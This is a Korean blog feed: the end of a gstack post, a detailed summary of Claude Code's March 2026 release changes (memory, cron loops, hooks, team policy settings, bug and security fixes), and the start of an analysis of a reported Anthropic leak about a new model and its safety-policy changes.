이번 주: /plan-ceo-review → /plan-eng-review → /review 파이프라인을 실제 기능 개발에 적용한다. 역할 분리가 결과물에 어떤 차이를 만드는지 체감한다.
운영 반영: 팀에 맞게 포크하고 커스터마이징한다. Garry Tan도 "Fork it. Improve it. Make it yours."라고 권한다.

gstack의 진정한 가치는 29개 프롬프트가 아니라, "개발 프로세스를 명시적으로 구조화한다"는 사고방식이다. 프롬프트는 시간이 지나면 바뀌겠지만, 역할 분리와 구조화된 리뷰라는 원칙은 어떤 AI 도구를 쓰든 유효하다.

참고 자료:
- gstack GitHub 레포지토리
- gstack 스킬 전체 목록
- TechCrunch: Why gstack has gotten love and hate
- Product Hunt: GStack
- Codex Usage Limits 토론

Claude Code 3월 폭풍 업데이트(v2.1.59~87 업데이트) 정리 - 한 달간 20개 릴리스, Auto Memory부터 1M 컨텍스트까지

갓대희 — Mon, 30 Mar 2026 18:30:38 +0900

안녕하세요! 갓대희 입니다.

Claude Code가 3월 한 달간 폭풍 업데이트를 했다. v2.1.59~v2.1.87(3월 : v2.1.66~87)까지 대략적으로 정리해보려 한다.

Auto Memory의 탄생부터, /loop 크론 스케줄링, Opus 4.6 1M 컨텍스트, Voice STT 20개 언어 지원, 트랜스크립트 검색, 팀별 정책 관리, 반응형 훅, 조건부 훅 실행, 훅 headless 통합까지 — "Claude Code가 어떻게 달라졌는가"를 테마별로 정리한다.

이번 업데이트의 핵심은 명확하다: 검색이 가능해졌고, 팀 관리가 쉬워졌고, 긴 세션이 안정적이 되었다.

버전 타임라인 (v2.1.59 → v2.1.87)
Auto Memory — Claude가 기억하기 시작하다
Opus 4.6 + 1M 컨텍스트 — 모델의 체급 변화
/loop & 크론 — 세션 내 자동화
Voice Mode — 20개 언어, 키바인딩, 안정화
개발자 도구 — /simplify, /batch, /plan, /context
플러그인 & 훅 생태계
성능 & 메모리 — 13건의 누수를 잡다
보안 수정
검색 & 네비게이션 — 드디어 대화를 찾을 수 있다
팀 & 엔터프라이즈 — 조직 정책 관리의 진화
훅 시스템 — 반응형 자동화의 확장
플러그인 & MCP — 보안과 확장성
성능 & 안정성 — 긴 세션의 고질병 해결
개발자 경험(DX) — 작은 것들이 모여 큰 차이
훅 진화 2.0 — 조건부 실행과 headless 통합 (v2.1.85~87)
성능 & DX — 스크롤 엔진 교체, Read 최적화, 스킬 UX
안정성 대수술 — v2.1.85~87의 주요 버그 수정
결론

Claude Code v2.1.59~v2.1.87 업데이트 요약
24개 릴리스의 핵심: Auto Memory(세션 간 학습), Opus 4.6 1M 컨텍스트, /loop 크론, Voice STT 20개 언어, 트랜스크립트 검색(Ctrl+O → /), 팀별 정책 관리(managed-settings.d/), 반응형 훅(CwdChanged/FileChanged), 플러그인 Keychain 보안.
출처: Claude Code 공식 CHANGELOG

1. 버전 타임라인

버전	주요 헤드라인
v2.1.59	Auto Memory 시작, /copy 인터랙티브 피커
v2.1.61~62 (v2.1.60: CHANGELOG 항목 없음)	Windows 설정 동시 쓰기 수정, 프롬프트 캐시 수정
v2.1.63	/simplify, /batch, HTTP 훅, 워크트리 Auto Memory 공유, 13건 메모리 누수 수정
v2.1.66	에러 로깅 축소
v2.1.68	Opus 4.6 기본 medium effort, ultrathink 키워드 재도입
v2.1.69	Voice STT 20개 언어, InstructionsLoaded 훅, /claude-api 스킬, gitignore 보안 수정
v2.1.70	3P 게이트웨이 호환성, CJK 클립보드, 렌더링 74% 감소
v2.1.71	/loop 크론 스케줄링, voice 키바인딩, stdin 프리즈 수정
v2.1.72	/plan 설명 인자, ExitWorktree, effort 단순화 (○◐●), 번들 -510KB
v2.1.73	modelOverrides, /loop Bedrock/Vertex 수정, 기본 모델 Opus 4.6으로
v2.1.74	/context 최적화 제안, autoMemoryDirectory 설정
v2.1.75	Opus 4.6 1M 컨텍스트 기본, /color, 메모리 타임스탬프
v2.1.76	MCP elicitation, gitignore 스킬 보안 수정, Elicitation/ElicitationResult 훅
v2.1.77	Opus 4.6 출력 64k/상한 128k, /fork→/branch, --resume 최대 45% 빨라짐
v2.1.78	StopFailure 훅, 라인별 스트리밍, 플러그인 persistent data, 보안 수정
v2.1.79	--console 인증, /btw 수정, 메모리 -18MB, VSCode Remote Control
v2.1.80	rate_limits 상태바, --channels 프리뷰, settings 플러그인 소스, 250k파일 -80MB
v2.1.81	--bare 플래그, --channels 권한 릴레이, MCP 도구 접기 UI
v2.1.82	(공개 CHANGELOG에 항목 없음 — 스킵된 버전)
v2.1.83	트랜스크립트 검색, managed-settings.d/, CwdChanged 훅, 플러그인 Keychain
v2.1.84	PowerShell, TaskCreated 훅, 75분 유휴 /clear 안내, CJK IME 수정
v2.1.85	훅 if 조건부 필드, PreToolUse updatedInput, 스크롤 WASM→TS, MCP headersHelper 환경변수, 30건+ 버그 수정
v2.1.86	X-Claude-Code-Session-Id 헤더, .jj/.sl VCS 제외, Read 토큰 최적화, /skills 알파벳 정렬, 메모리 파일 클릭
v2.1.87	Cowork Dispatch 메시지 미전달 수정

2. Auto Memory — Claude가 기억하기 시작하다

v2.1.59 이전까지 Claude Code는 세션이 끝나면 모든 것을 잊었다. CLAUDE.md에 수동으로 적어두지 않으면 "지난번에 어떤 결정을 했는지" 알 수 없었다.

버전	Auto Memory 진화
v2.1.59	Auto Memory 출시 — Claude가 유용한 컨텍스트를 자동 저장. `/memory`로 관리
v2.1.63	git 워크트리 간 Auto Memory 자동 공유
v2.1.74	`autoMemoryDirectory` 설정 — 커스텀 저장 경로 지원 (Dropbox, iCloud 동기화 가능)
v2.1.75	메모리 파일에 last-modified 타임스탬프 — 오래된 메모리와 최신 메모리 구분

실전 팁

Auto Memory는 ~/.claude/projects/<project>/memory/에 마크다운으로 저장된다. /memory로 열어서 오래되거나 잘못된 항목을 정리하면 Claude의 판단 정확도가 올라간다.

3. Opus 4.6 + 1M 컨텍스트 — 모델의 체급 변화

버전	변경
v2.1.68	Opus 4.6 기본 medium effort (Max/Team). "ultrathink" 키워드로 high effort 전환
v2.1.68	Opus 4.0/4.1 제거 — 핀된 사용자 자동 Opus 4.6 이전
v2.1.72	effort 단순화: low(○) / medium(◐) / high(●). `/effort auto`로 기본값 복원
v2.1.73	Bedrock/Vertex/Foundry 기본 모델도 Opus 4.6으로 (이전: Opus 4.1)
v2.1.75	Opus 4.6 1M 컨텍스트 기본 제공 (Max/Team/Enterprise). 이전에는 추가 사용량 필요

v2.1.59에서 v2.1.75까지, Claude Code의 기본 모델이 Opus 4.1 → Opus 4.6(medium effort, 1M 컨텍스트)으로 완전히 전환되었다. 이 변화만으로도 긴 세션의 안정성과 코드 품질이 크게 개선된다.

4. /loop & 크론 — 세션 내 자동화

# v2.1.71: /loop으로 세션 내 반복 실행
/loop 5m check if the deployment finished
/loop 30m check the build
/loop check the build every 2 hours  # 자연어 간격
/loop check the build                # 기본 10분

# 다른 명령어를 반복
/loop 20m /review-pr 1234

# v2.1.72: 비활성화
export CLAUDE_CODE_DISABLE_CRON=1

버전	변경
v2.1.71	/loop 명령어 + cron 스케줄링 도구 (CronCreate/CronList/CronDelete)
v2.1.72	`CLAUDE_CODE_DISABLE_CRON` 환경변수로 비활성화
v2.1.73	/loop Bedrock/Vertex/Foundry 및 텔레메트리 비활성 환경에서도 사용 가능

/loop의 제약

/loop은 세션이 열려 있는 동안만 동작한다. 노트북을 닫으면 끝난다. 노트북을 닫아도 실행되는 Cloud 스케줄 태스크(/schedule)는 v2.1.76 이후에 추가되었으며, 이 글에서 함께 다룬다.

5. 개발자 도구 — /simplify, /batch, /plan, /context

명령어	버전	기능
`/simplify`	v2.1.63	변경된 코드의 재사용성, 품질, 효율성을 검토하고 수정
`/batch`	v2.1.63	여러 작업을 병렬로 처리
`/copy`	v2.1.59	인터랙티브 코드블록 피커. v2.1.72에서 `w`키로 파일 직접 쓰기 추가
`/plan`	v2.1.72	설명 인자 추가 — `/plan fix the auth bug`로 즉시 시작
`/context`	v2.1.74	컨텍스트 사용량 분석 + 구체적 최적화 제안
`/color`	v2.1.75	프롬프트 바 색상 커스터마이징

실전 팁

/context는 긴 세션에서 "왜 응답이 느려졌지?"를 진단하는 데 유용하다. 컨텍스트를 많이 먹는 도구, 메모리 팽창, 용량 경고를 구체적인 최적화 팁과 함께 보여준다.

6. Voice Mode — 20개 언어, 키바인딩, 안정화

버전Voice Mode 변경

v2.1.69	STT 20개 언어 지원 (러시아어, 폴란드어, 터키어, 네덜란드어, 우크라이나어, 그리스어, 체코어, 덴마크어, 스웨덴어, 노르웨이어 추가)
v2.1.71	voice:pushToTalk 키바인딩 — keybindings.json에서 변경 가능 (기본: space)
v2.1.72	음성 인식 정확도 개선 (regex, OAuth, JSON 등 개발 용어)
v2.1.73	세션 손상 수정, 자동 재시도
v2.1.75	신규 설치 시 /voice 두 번 토글 필요 문제 수정

7. 플러그인 & 훅 생태계

버전	변경
v2.1.63	HTTP 훅 — shell 대신 URL로 POST JSON 가능
v2.1.69	`InstructionsLoaded` 훅 — CLAUDE.md/.claude/rules 로드 시 실행
v2.1.69	플러그인 `git-subdir` 소스 타입, `/reload-plugins`, `${CLAUDE_SKILL_DIR}`
v2.1.69	훅 이벤트에 `agent_id`, `agent_type`, `worktree` 필드 추가
v2.1.72	CLAUDE.md HTML 주석(`<!-- -->`) 자동 주입 시 숨김 처리
v2.1.73	`modelOverrides` — Bedrock/Vertex 커스텀 모델 ID 매핑
v2.1.75	훅 권한 프롬프트에 소스 표시 (settings/plugin/skill 중 어디서 왔는지)

8. 성능 & 메모리 — 13건의 누수를 잡다

v2.1.63은 "메모리 누수 대청소" 릴리스였다. 한 번에 13건의 메모리 누수를 수정했다.

버전	성능 개선
v2.1.63	13건 메모리 누수 수정 (listener, 캐시, 훅, 팀원, MCP 등)
v2.1.69	React memoCache 누수, REPL 렌더 스코프 누수 (~35MB/1000턴), SDK 세션 누수 수정
v2.1.69	Yoga WASM 프리로딩 지연 → 기본 메모리 -16MB
v2.1.70	프롬프트 입력 리렌더 74% 감소, 시작 메모리 -426KB
v2.1.72	번들 크기 -510KB, bash 파서 네이티브 모듈 전환
v2.1.72	SDK `query()` 프롬프트 캐시 수정 → 입력 토큰 비용 최대 12배 절감

이 수정들의 효과: v2.1.59에서 긴 세션이 "점점 느려지다 결국 멈추는" 문제가 v2.1.75에서는 대부분 해소되었다.

9. 보안 수정

주요 보안 수정

v2.1.69: .gitignore 디렉토리(node_modules 등)에서 스킬 로드 방지
v2.1.69: .mcp.json 첫 실행 시 서버별 승인 대화상자 정상 표시 (이전: 모든 서버 자동 활성화)
v2.1.69: symlink를 통한 워킹 디렉토리 탈출 방지 (acceptEdits 모드)
v2.1.74: 관리 정책의 ask 규칙이 사용자 allow 규칙에 의해 우회되는 문제 수정

10. 검색 & 네비게이션 — 드디어 대화를 찾을 수 있다

긴 세션에서 이전 대화를 찾으려고 끝없이 스크롤하던 경험이 있을 것이다. v2.1.83에서 이 문제가 해결되었다.

# 트랜스크립트 검색 (v2.1.83)
Ctrl+O          # 트랜스크립트 모드 진입
/               # 검색 모드 진입
키워드 입력      # 실시간 매칭
n / N           # 다음/이전 매치로 이동

버전	변경
v2.1.83	트랜스크립트 검색 — Ctrl+O에서 `/`로 검색, `n`/`N`으로 매치 간 이동
v2.1.84	75분 이상 유휴 후 복귀 시 `/clear` 권고 — 불필요한 토큰 재캐싱 방지
v2.1.84	토큰 수 표시 개선: 1,512.6k → 1.5m
v2.1.84	스크롤 점프 감소 — 컴팩션/그룹 변경 시 메시지 창이 최상단으로 튀는 문제 해결
v2.1.83	스크롤백 리셋 빈도 감소: 턴마다 → ~50 메시지마다

실전 팁

긴 세션에서 작업하다가 "아까 그 에러 메시지가 뭐였지?"할 때: Ctrl+O → /error → n으로 빠르게 찾을 수 있다. 더 이상 스크롤 올릴 필요 없다.

11. 팀 & 엔터프라이즈 — 조직 정책 관리의 진화

여러 팀이 Claude Code를 쓰는 조직에서, 팀마다 다른 정책을 관리하기 어려웠다. v2.1.83에서 이를 해결하는 핵심 기능이 추가되었다.

managed-settings.d/ — 팀별 정책 드롭인

# 기존: 하나의 managed-settings.json에 모든 정책
managed-settings.json

# v2.1.83~: 팀별 JSON 파일을 폴더에 넣으면 알파벳순 자동 병합
managed-settings.d/
├── 00-global-policy.json      # 전사 공통
├── 10-backend-team.json       # 백엔드팀 전용
├── 20-frontend-team.json      # 프론트엔드팀 전용
└── 30-security-overrides.json # 보안팀 오버라이드

버전	팀/엔터프라이즈 변경
v2.1.83	managed-settings.d/ 드롭인 디렉토리 — 팀별 독립 정책 병합
v2.1.84	`allowedChannelPlugins` 관리 설정 — 채널 플러그인 화이트리스트
v2.1.83	`CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1` — 서브프로세스에서 자격증명 제거
v2.1.83	`sandbox.failIfUnavailable` — 샌드박스 시작 불가 시 실행 중단 (unsandboxed 방지)
v2.1.80	`--channels` 리서치 프리뷰 — MCP 서버가 세션에 메시지 푸시
v2.1.81	`--channels` 권한 릴레이 — 도구 승인을 폰으로 전달

12. 훅 시스템 — 반응형 자동화의 확장

훅(Hooks)은 Claude Code의 자동화 기반이다. 이번 8개 릴리스에서 주요 새 훅 이벤트가 추가되었다.

훅 이벤트	버전	용도
`CwdChanged`	v2.1.83	작업 디렉토리 변경 시 자동 실행 (예: direnv 환경 전환)
`FileChanged`	v2.1.83	파일 변경 감지 시 자동 실행 (예: 린터, 포매터 트리거)
`StopFailure`	v2.1.78	API 에러(레이트 리밋, 인증 실패 등)로 턴 종료 시 실행
`TaskCreated`	v2.1.84	TaskCreate로 태스크 생성 시 실행
`Elicitation` / `ElicitationResult`	v2.1.76	MCP 서버의 구조적 입력 요청을 가로채기

// settings.json 예시: CwdChanged로 direnv 자동 전환
{
  "hooks": {
    "CwdChanged": [{
      "type": "command",
      "command": "direnv allow . 2>/dev/null; direnv export json"
    }]
  }
}

실전 팁

CwdChanged는 monorepo에서 특히 유용하다. 에이전트가 cd packages/backend할 때마다 해당 패키지의 환경변수와 도구 설정이 자동으로 전환된다.

13. 플러그인 & MCP — 보안과 확장성

플러그인 Keychain 저장 (v2.1.83)

플러그인이 API 키 같은 민감 설정을 받아야 할 때, 이전에는 안전한 저장 방법이 없었다. 이제 플러그인 활성화 시 설정을 입력받고, sensitive: true 값은 macOS Keychain(또는 다른 플랫폼의 보호된 자격증명 파일)에 저장된다.

MCP 관련 개선

버전	변경
v2.1.76	MCP elicitation — 서버가 작업 중 구조적 입력을 대화형으로 요청 가능
v2.1.84	도구 설명 2KB 캡 — OpenAPI 서버의 컨텍스트 팽창 방지
v2.1.84	로컬+claude.ai 커넥터 중복 제거 — 로컬 설정 우선
v2.1.81	MCP read/search 도구 출력 접기 — "Queried {server}" 한 줄로 표시
v2.1.81	MCP OAuth CIMD(SEP-991) 지원

보안 수정 (중요)

v2.1.76: .gitignore 디렉토리(node_modules 등)에서 스킬 로드 방지
v2.1.76: .mcp.json 첫 실행 시 서버별 승인 대화상자 정상 표시
v2.1.78: sandbox 의존성 미설치 시 "조용히 unsandboxed" → 시작 경고 표시
v2.1.78: deny 권한 규칙이 MCP 도구에도 정상 적용

14. 성능 & 안정성 — 긴 세션의 고질병 해결

이번 8개 릴리스에서 성능 개선이 가장 많았다. 특히 --resume(세션 재개)과 시작 속도가 대폭 개선되었다.

메모리 & 시작 속도

버전	개선
v2.1.77	`--resume` 최대 45% 빨라짐, ~100-150MB 메모리 절감
v2.1.79	시작 시 메모리 -18MB
v2.1.80	250k 파일 리포에서 시작 시 -80MB
v2.1.83	`--resume` 메모리 + 시작 지연 추가 개선
v2.1.84	시작 +30ms 빨라짐 (setup 병렬화), MCP 서버 연결 대기 제거
v2.1.83	`--bare -p` API 요청까지 14% 빨라짐

합산하면, 대규모 리포에서 시작 메모리가 ~100MB 이상 절감되었고, --resume은 최대 45% 빨라지면서 ~100-150MB 피크 메모리가 줄었다 (v2.1.77 기준, 포크가 많거나 매우 큰 세션에서).

안정성 수정 (하이라이트)

v2.1.83: 유휴 시 화면 깜빡임 수정 — 손을 뗐을 때 공백이 보이던 문제
v2.1.83: 대용량 파일 diff 시 무한 행이 걸리던 문제 → 5초 타임아웃 후 폴백
v2.1.83: 음성 모드 시작 시 1~8초 UI 멈춤 → 오디오 모듈 지연 로딩
v2.1.84: Partial clone 리포(Scalar/GVFS)에서 대량 blob 다운로드 방지
v2.1.84: CJK IME 입력이 터미널 커서와 동기화 — 한국어/일본어/중국어 입력 개선
v2.1.77: 자동 업데이터가 슬래시 오버레이에서 중복 다운로드 → 수십 GB 메모리 누수 수정

15. 개발자 경험(DX) — 작은 것들이 모여 큰 차이

기능	버전	설명
입력 자동 복원	v2.1.83	응답 전 중단 시 입력이 사라지지 않고 복원되어 바로 수정 가능
/status 실시간	v2.1.83	응답 중에도 `/status` 실행 가능 (이전: 턴 끝까지 대기)
--bare 플래그	v2.1.81	훅, LSP, 플러그인, 스킬 탐색 모두 스킵. SDK 스크립팅용 최소 모드
라인별 스트리밍	v2.1.78	응답 텍스트가 생성되는 대로 라인 단위로 표시
Opus 4.6 토큰 한도	v2.1.77	기본 출력 64k, 상한 128k 토큰
Rate limit UI	v2.1.80	상태바에 사용량 퍼센트 + 리셋 시간 표시
PowerShell (Preview)	v2.1.84	Windows에서 Bash 대신 PowerShell 사용 가능 (opt-in)
Ctrl+X Ctrl+E	v2.1.83	외부 에디터 열기 (readline 네이티브 바인딩)
이미지 칩	v2.1.83	붙여넣은 이미지에 `[Image #N]` 칩이 커서 위치에 삽입

VSCode 주요 변경

v2.1.79: /remote-control — 세션을 claude.ai/code로 브릿지하여 브라우저/폰에서 이어서 작업
v2.1.84: Rate limit 경고 배너 (사용량 퍼센트 + 리셋 시간)
v2.1.83: Esc 두 번 → 되감기 피커 (keyboard-navigable rewind)

16. 훅 진화 2.0 — 조건부 실행과 headless 통합 (v2.1.85~87)

v2.1.85는 훅 시스템에 두 가지 중요한 기능을 추가했다. 하나는 훅이 언제 실행될지를 제어하는 조건부 if 필드, 다른 하나는 headless 환경에서 사용자 입력을 처리하는 updatedInput 지원이다.

조건부 훅 실행 — if 필드

// settings.json — if 필드로 git 명령에만 훅 실행
{
  "hooks": {
    "PreToolUse": [{
      "if": "Bash(git *)",
      "type": "command",
      "command": "echo 'git 명령 감지됨'"
    }]
  }
}

기능	버전	설명
훅 `if` 필드	v2.1.85	permission rule 문법(예: `Bash(git *)`)으로 훅 실행 조건 필터링. 불필요한 프로세스 spawning 오버헤드 감소
PreToolUse `updatedInput`	v2.1.85	PreToolUse 훅이 `AskUserQuestion`에 응답할 때 `updatedInput`과 `permissionDecision: "allow"`를 함께 반환하면 headless 통합 가능. 커스텀 UI로 사용자 입력 수집 후 Claude에 전달하는 자동화 파이프라인 구축 가능
트랜스크립트 타임스탬프	v2.1.85	`/loop` 또는 `CronCreate`로 예약된 태스크 실행 시 트랜스크립트에 타임스탬프 마커 자동 삽입
MCP headersHelper 환경변수	v2.1.85	`CLAUDE_CODE_MCP_SERVER_NAME`, `CLAUDE_CODE_MCP_SERVER_URL` 추가 — 하나의 headersHelper 스크립트로 여러 MCP 서버 처리 가능

실전 팁

이전에는 훅이 모든 도구 실행에 반응해서 불필요한 프로세스를 spawning했다. 이제 if: "Bash(git *)"처럼 특정 명령에만 반응하도록 제한하면 대규모 프로젝트에서 성능 차이가 체감된다.

17. 성능 & DX — 스크롤 엔진 교체, Read 최적화, 스킬 UX

v2.1.85~87에서 체감 성능에 직접적인 영향을 주는 개선이 다수 이루어졌다.

스크롤 엔진 교체 (v2.1.85)

터미널 레이아웃 엔진을 WASM 기반 yoga-layout에서 순수 TypeScript 구현으로 교체했다. 대용량 트랜스크립트에서 스크롤 성능이 크게 향상되고, 컴팩션 발생 시 UI 끊김도 줄었다.

개선 항목	버전	효과
스크롤 엔진 교체	v2.1.85	WASM yoga-layout → TypeScript 구현. 대용량 트랜스크립트 스크롤 성능 향상
Read 도구 토큰 최적화	v2.1.86	compact 행번호 형식 사용 + 변경 없는 재읽기 중복 제거 → 토큰 사용량 감소
@ 파일 멘션 토큰 절감	v2.1.86	`@파일명` 멘션 시 원본 문자열을 JSON 이스케이프하지 않음 → 토큰 오버헤드 감소
Bedrock/Vertex/Foundry 캐시 개선	v2.1.86	도구 설명에서 동적 콘텐츠 제거 → 프롬프트 캐시 적중률 향상
MCP 커넥터 시작 최적화	v2.1.86	macOS Keychain 캐시 5초 → 30초 확장 — claude.ai MCP 커넥터 多 설정 시 시작 이벤트 루프 지연 감소
/skills 알파벳 정렬	v2.1.86	`/skills` 메뉴가 알파벳순으로 정렬되어 찾기 쉬워짐
스킬 설명 250자 제한	v2.1.86	`/skills` 목록에서 설명이 250자로 제한 → 컨텍스트 사용량 감소
메모리 파일명 인터랙션	v2.1.86	"Saved N memories" 알림에서 메모리 파일명에 hover 하이라이트, 클릭으로 바로 열기 가능
X-Claude-Code-Session-Id 헤더	v2.1.86	모든 API 요청에 세션 ID 헤더 추가 — 프록시/미들웨어에서 body 파싱 없이 세션별 요청 집계 가능
.jj / .sl VCS 지원	v2.1.86	Jujutsu(`.jj`)와 Sapling(`.sl`)의 메타데이터 디렉토리를 VCS 제외 목록에 추가 — Grep, 파일 자동완성에서 불필요한 결과 제거

18. 안정성 대수술 — v2.1.85~87의 주요 버그 수정

v2.1.85~86에서 총 30건 이상의 버그가 수정되었다. 가장 체감이 큰 수정들을 정리한다.

주요 버그 수정 하이라이트

v2.1.85: --worktree가 non-git 저장소에서 오류 종료하던 문제 수정 — WorktreeCreate 훅 실행 전에 종료되던 버그
v2.1.85: deniedMcpServers 설정이 claude.ai MCP 서버를 차단하지 못하던 문제 수정
v2.1.85: 터미널 종료 후 enhanced keyboard mode가 남아있어 Ctrl+C/Ctrl+D가 작동 안 하던 문제 수정 (Ghostty, Kitty, WezTerm 등)
v2.1.85: Python Agent SDK에서 --mcp-config로 전달된 type:'sdk' MCP 서버가 시작 시 드롭되던 문제 수정
v2.1.85: SSH/VS Code 통합 터미널에서 raw key sequence가 프롬프트에 출력되던 문제 수정
v2.1.86: --resume이 v2.1.85 이전에 생성된 세션에서 "tool_use ids were found without tool_result blocks" 오류로 실패하던 문제 수정
v2.1.86: 조건부 스킬/규칙 설정 시 프로젝트 루트 외부 파일(~/.claude/CLAUDE.md 등) Write/Edit/Read 실패 문제 수정
v2.1.86: v2.1.83 이후 macOS/Linux에서 공식 마켓플레이스 플러그인 "Permission denied" 오류 수정
v2.1.86: 스킬 호출 시마다 불필요한 설정 디스크 쓰기 발생 — Windows에서 성능 저하 및 설정 손상 유발하던 문제 수정
v2.1.86: /feedback 사용 시 대용량 트랜스크립트 파일에서 메모리 오버플로우 크래시 방지
v2.1.87: Cowork Dispatch에서 메시지가 전달되지 않던 문제 수정

버전	수정 영역	내용
v2.1.85	MCP OAuth	refresh token 존재 시 step-up authorization 실패 수정 (버그). RFC 9728 Protected Resource Metadata discovery 지원은 별도 신기능으로 추가
v2.1.85	Remote Control	권한 해결 후에도 "Requires Action" 상태에 고정되던 문제 수정
v2.1.85	OTEL	exporter를 `none`으로 설정 시 크래시 수정. tool_parameters를 `OTEL_LOG_TOOL_DETAILS=1` 뒤로 이동
v2.1.86	VSCode 확장	장시간 작업 중 "응답 없음" 표시 수정 / OAuth 토큰 갱신 후 Max 플랜을 Sonnet으로 기본 설정하던 버그 수정
v2.1.86	멀티인스턴스	여러 Claude Code 인스턴스 실행 시 상태바가 다른 세션의 모델을 표시하던 문제 수정
v2.1.86	메모리 누수	마크다운/하이라이트 렌더 캐시가 전체 문자열을 유지하던 누수 수정

19. 결론

개발자 커뮤니티의 반응도 주목할 만하다. DEV.to의 Alan West는 v2.1.83 릴리스 직후 "긴 세션에서 검색을 시도했는데 즉시 찾아졌다. 이것만으로도 업데이트할 이유가 된다"고 썼고 (출처), DEV.to의 jidonglab은 3주간 17개 릴리스를 분석하며 "플랫폼 전환점(inflection point)이 실시간으로 일어나고 있다"고 평가했다 (출처). 한편 Hacker News에서는 안정성 우려도 나왔다 — 3월 17일 500 에러, CLAUDE.md 지시 무시 등의 보고가 있었다 (HN). 이 반응들이 보여주는 것: 기능 추가 속도는 압도적이지만, 안정성과의 균형이 여전히 과제라는 점이다.

24개 버전, 약 400개 변경사항의 방향은 명확하다: Claude Code가 "일회성 코딩 도구"에서 "기억하고, 반복하고, 대규모 컨텍스트를 다루는 팀 인프라"로 진화했다.

지금 확인해야 할 것

당신의 상황	지금 해볼 것
세션 간 컨텍스트가 끊겨서 불편하다	`/memory`로 Auto Memory 상태를 확인하고 정리한다
반복 작업을 수동으로 실행하고 있다	`/loop 5m check the build`로 자동화한다
코드 품질 검토를 별도로 하고 있다	구현 후 `/simplify`를 실행한다
긴 세션을 자주 쓴다	`Ctrl+O` → `/`로 트랜스크립트 검색을 시도해 본다
팀에서 Claude Code를 운영한다	`managed-settings.d/`로 팀별 정책을 분리한다
자동화 파이프라인을 구축 중이다	`CwdChanged`, `FileChanged` 훅을 실험한다
응답이 느려졌다고 느낀다	`/context`로 컨텍스트 사용량을 확인한다
대규모 리포에서 느리다고 느꼈다	`claude update`만 해도 시작 메모리 ~100MB 이상 절감

# 지금 바로 업데이트
claude update

# 현재 버전 확인
claude --version

참고 자료

공식 CHANGELOG: GitHub
공식 문서: Anthropic Docs
Auto Memory 가이드: Memory
Voice Mode: Voice
훅 가이드: Hooks Reference
플러그인 가이드: Plugins

Claude Mythos(Capybara) - 앤트로픽 Claude Mythos 유출 분석 : ASL-4 임박, RSP 변화, 개발자 시사점

갓대희 — Sun, 29 Mar 2026 20:04:04 +0900

안녕하세요! 갓대희입니다.

2026년 3월 26일, Fortune의 단독 보도 하나가 AI 업계를 뒤흔들었다.

앤트로픽(Anthropic)이 CMS(콘텐츠 관리 시스템) 설정 오류라는 인적 실수 하나로, 발표 예정이었던 블로그 게시물과 관련 자료 약 3,000건을 외부에 노출시켰다. 그 문서들 안에 아무도 예상하지 못했던 정보가 담겨 있었다. 앤트로픽이 개발한 역대 가장 강력한 AI 모델 Claude Mythos(코드명 Capybara)의 존재와 개요가 세상에 모습을 드러낸 것이다.

사이버보안 분야에서 "다른 어떤 AI 모델보다 훨씬 앞서 있다"는 내부 평가, "전례 없는 사이버보안 위험"이라는 자체 경고, 그리고 ASL-4 임박 신호까지. 이 유출은 단순한 실수를 넘어서 AI 안전 논의의 판을 바꾸는 사건이 됐다.

오늘은 공식 소스를 기반으로 이 사건의 전모와 시사점을 분석해보자.

3줄 요약
1. 앤트로픽 CMS 인적 오류로 약 3,000건 미공개 자료 유출 — 그 안에 역대 최강 모델 Claude Mythos(코드명 Capybara) 존재 확인 (출처: Fortune, 2026-03-26)

2. 모델은 소프트웨어 코딩·학술 추론·사이버보안 전 분야에서 Claude Opus 4.6 대비 극적으로 높은 점수 — 내부 문서는 "전례 없는 사이버보안 위험"이라고 자체 경고

3. 앤트로픽은 2026-02-24 RSP v3.0을 발효하며 기존 "학습 중단" 하드 커밋먼트를 삭제 — ASL-4 임박 신호와 맞물려 AI 안전 논쟁이 재점화

사건 개요 — 실수로 열린 판도라의 상자
- 무엇이 노출됐나
- 누가 발견했나
- 앤트로픽의 공식 대응
Claude Mythos와 Capybara 계층
- 두 이름의 관계
- Capybara: Opus를 넘는 새 계층
- "지금까지 개발한 AI 모델 중 단연 가장 강력한"
성능 — 무엇이 다른가
- 코딩·추론·사이버보안
- "step change"의 의미
- 경쟁 구도 — GPT-5, Gemini 3와의 맥락
전례 없는 사이버보안 위험
- 내부 경고 내용
- 공격자 vs 방어자 비대칭
- 업계 전반의 사이버 위험 — Anthropic만의 문제가 아니다
ASL-4 임박 신호
- ASL 체계란
- 현재 모델 수준
- ASL-4의 의미
RSP v3.0 — Pause 약속 삭제의 의미
- 무엇이 바뀌었나
- 왜 바꿨나
- 비판과 반론
- 업계 정책 비교 — OpenAI·Google과의 수렴과 차이
출시 전략 — 신중한 단계적 배포
- 얼리 액세스 → 사이버 방어 우선
- 정식 출시 타임라인
개발자·보안 전문가에게 주는 시사점
자주 묻는 질문
참고 자료

1. 사건 개요 — 실수로 열린 판도라의 상자

무엇이 노출됐나

2026년 3월 26일, Fortune이 단독으로 보도한 내용에 따르면 앤트로픽의 CMS(콘텐츠 관리 시스템) 외부 도구에 설정 오류가 발생해, 중앙 데이터 저장소에 업로드된 자료 가운데 명시적으로 비공개 설정을 하지 않은 것들이 기본적으로 공개 상태가 됐다.

이로 인해 앤트로픽의 뉴스·연구 사이트에 정식으로 발행되지 않은 미공개 자산 약 3,000건이 외부에서 접근 가능한 상태였다. 여기에는 발표 예정인 블로그 게시물 초안, 관련 이미지, 내부 문서 등이 포함됐다. 그 중 가장 주목받은 것은 아직 공개되지 않은 신규 AI 모델에 관한 두 가지 버전의 초안 블로그 포스트였다.

공식 문서 출처
Fortune에 따르면 앤트로픽은 외부 CMS 도구 문제로 초안 콘텐츠가 접근 가능한 상태가 됐다고 설명했다.
(앤트로픽 대변인, Fortune 인용 — 원문 간접 인용)

앤트로픽은 이 사건을 "인적 오류의 결과(result of human error)"라고 공식 설명했다.
→ Fortune 원본 기사 (2026-03-26)

누가 발견했나

이 노출된 저장소를 발견하고 검토한 것은 두 명의 보안 연구원이었다.

연구원	소속	역할
Roy Paz	LayerX Security (선임 AI 보안 연구원)	노출 저장소 발견 및 1차 검토
Alexandre Pauwels	University of Cambridge (사이버보안 연구원)	보안이 취약한 공개 접근 가능 저장소 분석

두 연구원은 이 자료를 Fortune에 제공했고, Fortune은 3월 26일 단독 보도로 세상에 알렸다. 이후 국내외 주요 언론이 일제히 보도를 이어갔다. (출처: Fortune, 2026-03-26)

앤트로픽의 공식 대응

앤트로픽은 이 사건에 대해 비교적 즉각적으로 반응했다.

